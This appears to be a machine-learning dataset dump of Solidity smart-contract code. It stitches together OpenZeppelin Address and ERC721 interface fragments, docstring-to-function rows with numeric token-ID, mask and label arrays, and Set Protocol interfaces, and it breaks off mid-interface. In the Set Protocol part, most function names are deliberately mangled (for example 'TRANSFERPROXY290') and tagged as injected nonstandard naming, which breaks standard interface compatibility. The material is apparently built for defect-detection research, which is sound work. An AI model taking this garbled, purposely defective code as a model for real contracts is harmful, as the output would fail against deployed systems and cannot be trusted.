* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | * @dev Add address to the presale list/ | function setAllowList(address[] calldata addresses, uint8 numAllowedToMint) external onlyOwner {
for (uint256 i = 0; i < addresses.length; i++) {
_allowList[addresses[i]] = numAllowedToMint;
}
}
| 1,638,902 | [
1,
986,
1758,
358,
326,
4075,
5349,
666,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
444,
7009,
682,
12,
2867,
8526,
745,
892,
6138,
16,
2254,
28,
818,
5042,
774,
49,
474,
13,
3903,
1338,
5541,
288,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
6138,
18,
2469,
31,
277,
27245,
288,
203,
5411,
389,
5965,
682,
63,
13277,
63,
77,
13563,
273,
818,
5042,
774,
49,
474,
31,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0xbbcec987E4C189FCbAB0a2534c77b3ba89229F11/sources/contracts/Pool.sol | * @notice Set previous claims for migrations @param _tree bytes32 @param _root bytes32 @param _accounts address[] @dev Only owner/ Enable the tree if not yet enabled Iterate and set as claimed if not yet claimed | function enableAndSetClaimed(
bytes32 _tree,
bytes32 _root,
address[] memory _accounts
) external override multiAdmin {
if (rootsByTree[_tree] == 0) {
rootsByTree[_tree] = _root;
emit Enable(_tree, _root);
}
for (uint256 i = 0; i < _accounts.length; i++) {
if (claimed[_tree][_accounts[i]] == false) {
claimed[_tree][_accounts[i]] = true;
emit UseClaim(_accounts[i], _tree);
}
}
}
| 8,386,354 | [
1,
694,
2416,
11955,
364,
9814,
225,
389,
3413,
1731,
1578,
225,
389,
3085,
1731,
1578,
225,
389,
13739,
1758,
8526,
225,
5098,
3410,
19,
9677,
326,
2151,
309,
486,
4671,
3696,
11436,
471,
444,
487,
7516,
329,
309,
486,
4671,
7516,
329,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
4237,
13152,
9762,
329,
12,
203,
565,
1731,
1578,
389,
3413,
16,
203,
565,
1731,
1578,
389,
3085,
16,
203,
565,
1758,
8526,
3778,
389,
13739,
203,
225,
262,
3903,
3849,
3309,
4446,
288,
203,
565,
309,
261,
22078,
858,
2471,
63,
67,
3413,
65,
422,
374,
13,
288,
203,
1377,
12876,
858,
2471,
63,
67,
3413,
65,
273,
389,
3085,
31,
203,
1377,
3626,
9677,
24899,
3413,
16,
389,
3085,
1769,
203,
565,
289,
203,
565,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
389,
13739,
18,
2469,
31,
277,
27245,
288,
203,
1377,
309,
261,
14784,
329,
63,
67,
3413,
6362,
67,
13739,
63,
77,
13563,
422,
629,
13,
288,
203,
3639,
7516,
329,
63,
67,
3413,
6362,
67,
13739,
63,
77,
13563,
273,
638,
31,
203,
3639,
3626,
2672,
9762,
24899,
13739,
63,
77,
6487,
389,
3413,
1769,
203,
1377,
289,
203,
565,
289,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.5.7;
interface ICore {
function TRANSFERPROXY290() //inject NONSTANDARD NAMING
external
view
returns (address);
function VAULT497() //inject NONSTANDARD NAMING
external
view
returns (address);
function EXCHANGEIDS396( //inject NONSTANDARD NAMING
uint8 _exchangeId
)
external
view
returns (address);
function VALIDSETS319(address) //inject NONSTANDARD NAMING
external
view
returns (bool);
function VALIDMODULES100(address) //inject NONSTANDARD NAMING
external
view
returns (bool);
function VALIDPRICELIBRARIES391( //inject NONSTANDARD NAMING
address _priceLibrary
)
external
view
returns (bool);
function ISSUE203( //inject NONSTANDARD NAMING
address _set,
uint256 _quantity
)
external;
function ISSUETO740( //inject NONSTANDARD NAMING
address _recipient,
address _set,
uint256 _quantity
)
external;
function ISSUEINVAULT15( //inject NONSTANDARD NAMING
address _set,
uint256 _quantity
)
external;
function REDEEM524( //inject NONSTANDARD NAMING
address _set,
uint256 _quantity
)
external;
function REDEEMTO270( //inject NONSTANDARD NAMING
address _recipient,
address _set,
uint256 _quantity
)
external;
function REDEEMINVAULT358( //inject NONSTANDARD NAMING
address _set,
uint256 _quantity
)
external;
function REDEEMANDWITHDRAWTO873( //inject NONSTANDARD NAMING
address _set,
address _to,
uint256 _quantity,
uint256 _toExclude
)
external;
function BATCHDEPOSIT892( //inject NONSTANDARD NAMING
address[] calldata _tokens,
uint256[] calldata _quantities
)
external;
function BATCHWITHDRAW872( //inject NONSTANDARD NAMING
address[] calldata _tokens,
uint256[] calldata _quantities
)
external;
function DEPOSIT357( //inject NONSTANDARD NAMING
address _token,
uint256 _quantity
)
external;
function WITHDRAW715( //inject NONSTANDARD NAMING
address _token,
uint256 _quantity
)
external;
function INTERNALTRANSFER147( //inject NONSTANDARD NAMING
address _token,
address _to,
uint256 _quantity
)
external;
function CREATESET426( //inject NONSTANDARD NAMING
address _factory,
address[] calldata _components,
uint256[] calldata _units,
uint256 _naturalUnit,
bytes32 _name,
bytes32 _symbol,
bytes calldata _callData
)
external
returns (address);
function DEPOSITMODULE827( //inject NONSTANDARD NAMING
address _from,
address _to,
address _token,
uint256 _quantity
)
external;
function WITHDRAWMODULE670( //inject NONSTANDARD NAMING
address _from,
address _to,
address _token,
uint256 _quantity
)
external;
function BATCHDEPOSITMODULE88( //inject NONSTANDARD NAMING
address _from,
address _to,
address[] calldata _tokens,
uint256[] calldata _quantities
)
external;
function BATCHWITHDRAWMODULE533( //inject NONSTANDARD NAMING
address _from,
address _to,
address[] calldata _tokens,
uint256[] calldata _quantities
)
external;
function ISSUEMODULE367( //inject NONSTANDARD NAMING
address _owner,
address _recipient,
address _set,
uint256 _quantity
)
external;
function REDEEMMODULE605( //inject NONSTANDARD NAMING
address _burnAddress,
address _incrementAddress,
address _set,
uint256 _quantity
)
external;
function BATCHINCREMENTTOKENOWNERMODULE149( //inject NONSTANDARD NAMING
address[] calldata _tokens,
address _owner,
uint256[] calldata _quantities
)
external;
function BATCHDECREMENTTOKENOWNERMODULE440( //inject NONSTANDARD NAMING
address[] calldata _tokens,
address _owner,
uint256[] calldata _quantities
)
external;
function BATCHTRANSFERBALANCEMODULE930( //inject NONSTANDARD NAMING
address[] calldata _tokens,
address _from,
address _to,
uint256[] calldata _quantities
)
external;
function TRANSFERMODULE315( //inject NONSTANDARD NAMING
address _token,
uint256 _quantity,
address _from,
address _to
)
external;
function BATCHTRANSFERMODULE23( //inject NONSTANDARD NAMING
address[] calldata _tokens,
uint256[] calldata _quantities,
address _from,
address _to
)
external;
}
// File: set-protocol-contracts/contracts/core/lib/RebalancingLibrary.sol
pragma solidity 0.5.7;
library RebalancingLibrary {
enum State { Default, Proposal, Rebalance, Drawdown }
struct AuctionPriceParameters {
uint256 auctionStartTime;
uint256 auctionTimeToPivot;
uint256 auctionStartPrice;
uint256 auctionPivotPrice;
}
struct BiddingParameters {
uint256 minimumBid;
uint256 remainingCurrentSets;
uint256[] combinedCurrentUnits;
uint256[] combinedNextSetUnits;
address[] combinedTokenArray;
}
}
// File: set-protocol-contracts/contracts/core/interfaces/IFeeCalculator.sol
pragma solidity 0.5.7;
interface IFeeCalculator {
function INITIALIZE627( //inject NONSTANDARD NAMING
bytes calldata _feeCalculatorData
)
external;
function GETFEE645() //inject NONSTANDARD NAMING
external
view
returns(uint256);
function UPDATEANDGETFEE787() //inject NONSTANDARD NAMING
external
returns(uint256);
function ADJUSTFEE487( //inject NONSTANDARD NAMING
bytes calldata _newFeeData
)
external;
}
// File: set-protocol-contracts/contracts/core/interfaces/ISetToken.sol
pragma solidity 0.5.7;
interface ISetToken {
function NATURALUNIT908() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function GETCOMPONENTS458() //inject NONSTANDARD NAMING
external
view
returns (address[] memory);
function GETUNITS229() //inject NONSTANDARD NAMING
external
view
returns (uint256[] memory);
function TOKENISCOMPONENT45( //inject NONSTANDARD NAMING
address _tokenAddress
)
external
view
returns (bool);
function MINT918( //inject NONSTANDARD NAMING
address _issuer,
uint256 _quantity
)
external;
function BURN396( //inject NONSTANDARD NAMING
address _from,
uint256 _quantity
)
external;
function TRANSFER558( //inject NONSTANDARD NAMING
address to,
uint256 value
)
external;
}
// File: set-protocol-contracts/contracts/core/interfaces/IRebalancingSetToken.sol
pragma solidity 0.5.7;
interface IRebalancingSetToken {
function AUCTIONLIBRARY983() //inject NONSTANDARD NAMING
external
view
returns (address);
function TOTALSUPPLY978() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function PROPOSALSTARTTIME533() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function LASTREBALANCETIMESTAMP491() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCEINTERVAL619() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCESTATE812() //inject NONSTANDARD NAMING
external
view
returns (RebalancingLibrary.State);
function STARTINGCURRENTSETAMOUNT132() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function BALANCEOF827( //inject NONSTANDARD NAMING
address owner
)
external
view
returns (uint256);
function PROPOSE395( //inject NONSTANDARD NAMING
address _nextSet,
address _auctionLibrary,
uint256 _auctionTimeToPivot,
uint256 _auctionStartPrice,
uint256 _auctionPivotPrice
)
external;
function NATURALUNIT908() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function CURRENTSET165() //inject NONSTANDARD NAMING
external
view
returns (address);
function NEXTSET94() //inject NONSTANDARD NAMING
external
view
returns (address);
function UNITSHARES97() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function BURN396( //inject NONSTANDARD NAMING
address _from,
uint256 _quantity
)
external;
function PLACEBID341( //inject NONSTANDARD NAMING
uint256 _quantity
)
external
returns (address[] memory, uint256[] memory, uint256[] memory);
function GETCOMBINEDTOKENARRAYLENGTH557() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function GETCOMBINEDTOKENARRAY587() //inject NONSTANDARD NAMING
external
view
returns (address[] memory);
function GETFAILEDAUCTIONWITHDRAWCOMPONENTS419() //inject NONSTANDARD NAMING
external
view
returns (address[] memory);
function GETAUCTIONPRICEPARAMETERS272() //inject NONSTANDARD NAMING
external
view
returns (uint256[] memory);
function GETBIDDINGPARAMETERS33() //inject NONSTANDARD NAMING
external
view
returns (uint256[] memory);
function GETBIDPRICE601( //inject NONSTANDARD NAMING
uint256 _quantity
)
external
view
returns (uint256[] memory, uint256[] memory);
}
// File: set-protocol-contracts/contracts/core/lib/Rebalance.sol
pragma solidity 0.5.7;
library Rebalance {
struct TokenFlow {
address[] addresses;
uint256[] inflow;
uint256[] outflow;
}
function COMPOSETOKENFLOW703( //inject NONSTANDARD NAMING
address[] memory _addresses,
uint256[] memory _inflow,
uint256[] memory _outflow
)
internal
pure
returns(TokenFlow memory)
{
return TokenFlow({addresses: _addresses, inflow: _inflow, outflow: _outflow });
}
function DECOMPOSETOKENFLOW508(TokenFlow memory _tokenFlow) //inject NONSTANDARD NAMING
internal
pure
returns (address[] memory, uint256[] memory, uint256[] memory)
{
return (_tokenFlow.addresses, _tokenFlow.inflow, _tokenFlow.outflow);
}
function DECOMPOSETOKENFLOWTOBIDPRICE741(TokenFlow memory _tokenFlow) //inject NONSTANDARD NAMING
internal
pure
returns (uint256[] memory, uint256[] memory)
{
return (_tokenFlow.inflow, _tokenFlow.outflow);
}
function GETTOKENFLOWS792( //inject NONSTANDARD NAMING
IRebalancingSetToken _rebalancingSetToken,
uint256 _quantity
)
internal
view
returns (address[] memory, uint256[] memory, uint256[] memory)
{
// Get token addresses
address[] memory combinedTokenArray = _rebalancingSetToken.GETCOMBINEDTOKENARRAY587();
// Get inflow and outflow arrays for the given bid quantity
(
uint256[] memory inflowArray,
uint256[] memory outflowArray
) = _rebalancingSetToken.GETBIDPRICE601(_quantity);
return (combinedTokenArray, inflowArray, outflowArray);
}
}
// File: set-protocol-contracts/contracts/core/interfaces/ILiquidator.sol
pragma solidity 0.5.7;
interface ILiquidator {
function STARTREBALANCE53( //inject NONSTANDARD NAMING
ISetToken _currentSet,
ISetToken _nextSet,
uint256 _startingCurrentSetQuantity,
bytes calldata _liquidatorData
)
external;
function GETBIDPRICE601( //inject NONSTANDARD NAMING
address _set,
uint256 _quantity
)
external
view
returns (Rebalance.TokenFlow memory);
function PLACEBID341( //inject NONSTANDARD NAMING
uint256 _quantity
)
external
returns (Rebalance.TokenFlow memory);
function SETTLEREBALANCE859() //inject NONSTANDARD NAMING
external;
function ENDFAILEDREBALANCE906() external; //inject NONSTANDARD NAMING
// ----------------------------------------------------------------------
// Auction Price
// ----------------------------------------------------------------------
function AUCTIONPRICEPARAMETERS855(address _set) //inject NONSTANDARD NAMING
external
view
returns (RebalancingLibrary.AuctionPriceParameters memory);
// ----------------------------------------------------------------------
// Auction
// ----------------------------------------------------------------------
function HASREBALANCEFAILED531(address _set) external view returns (bool); //inject NONSTANDARD NAMING
function MINIMUMBID335(address _set) external view returns (uint256); //inject NONSTANDARD NAMING
function STARTINGCURRENTSETS972(address _set) external view returns (uint256); //inject NONSTANDARD NAMING
function REMAININGCURRENTSETS800(address _set) external view returns (uint256); //inject NONSTANDARD NAMING
function GETCOMBINEDCURRENTSETUNITS997(address _set) external view returns (uint256[] memory); //inject NONSTANDARD NAMING
function GETCOMBINEDNEXTSETUNITS743(address _set) external view returns (uint256[] memory); //inject NONSTANDARD NAMING
function GETCOMBINEDTOKENARRAY587(address _set) external view returns (address[] memory); //inject NONSTANDARD NAMING
}
// File: set-protocol-contracts/contracts/core/interfaces/IRebalancingSetTokenV2.sol
pragma solidity 0.5.7;
interface IRebalancingSetTokenV2 {
function TOTALSUPPLY978() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function LIQUIDATOR933() //inject NONSTANDARD NAMING
external
view
returns (ILiquidator);
function LASTREBALANCETIMESTAMP491() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCESTARTTIME708() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function STARTINGCURRENTSETAMOUNT132() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCEINTERVAL619() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function GETAUCTIONPRICEPARAMETERS272() external view returns (uint256[] memory); //inject NONSTANDARD NAMING
function GETBIDDINGPARAMETERS33() external view returns (uint256[] memory); //inject NONSTANDARD NAMING
function REBALANCESTATE812() //inject NONSTANDARD NAMING
external
view
returns (RebalancingLibrary.State);
function BALANCEOF827( //inject NONSTANDARD NAMING
address owner
)
external
view
returns (uint256);
function MANAGER161() //inject NONSTANDARD NAMING
external
view
returns (address);
function FEERECIPIENT200() //inject NONSTANDARD NAMING
external
view
returns (address);
function ENTRYFEE977() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCEFEE979() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCEFEECALCULATOR847() //inject NONSTANDARD NAMING
external
view
returns (IFeeCalculator);
function INITIALIZE627( //inject NONSTANDARD NAMING
bytes calldata _rebalanceFeeCalldata
)
external;
function SETLIQUIDATOR462( //inject NONSTANDARD NAMING
ILiquidator _newLiquidator
)
external;
function SETFEERECIPIENT786( //inject NONSTANDARD NAMING
address _newFeeRecipient
)
external;
function SETENTRYFEE61( //inject NONSTANDARD NAMING
uint256 _newEntryFee
)
external;
function STARTREBALANCE53( //inject NONSTANDARD NAMING
address _nextSet,
bytes calldata _liquidatorData
)
external;
function SETTLEREBALANCE859() //inject NONSTANDARD NAMING
external;
function NATURALUNIT908() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function CURRENTSET165() //inject NONSTANDARD NAMING
external
view
returns (ISetToken);
function NEXTSET94() //inject NONSTANDARD NAMING
external
view
returns (ISetToken);
function UNITSHARES97() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function PLACEBID341( //inject NONSTANDARD NAMING
uint256 _quantity
)
external
returns (address[] memory, uint256[] memory, uint256[] memory);
function GETBIDPRICE601( //inject NONSTANDARD NAMING
uint256 _quantity
)
external
view
returns (uint256[] memory, uint256[] memory);
function NAME118() //inject NONSTANDARD NAMING
external
view
returns (string memory);
function SYMBOL994() //inject NONSTANDARD NAMING
external
view
returns (string memory);
}
// File: set-protocol-contracts/contracts/core/interfaces/IRebalancingSetTokenV3.sol
pragma solidity 0.5.7;
interface IRebalancingSetTokenV3 {
function TOTALSUPPLY978() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function LIQUIDATOR933() //inject NONSTANDARD NAMING
external
view
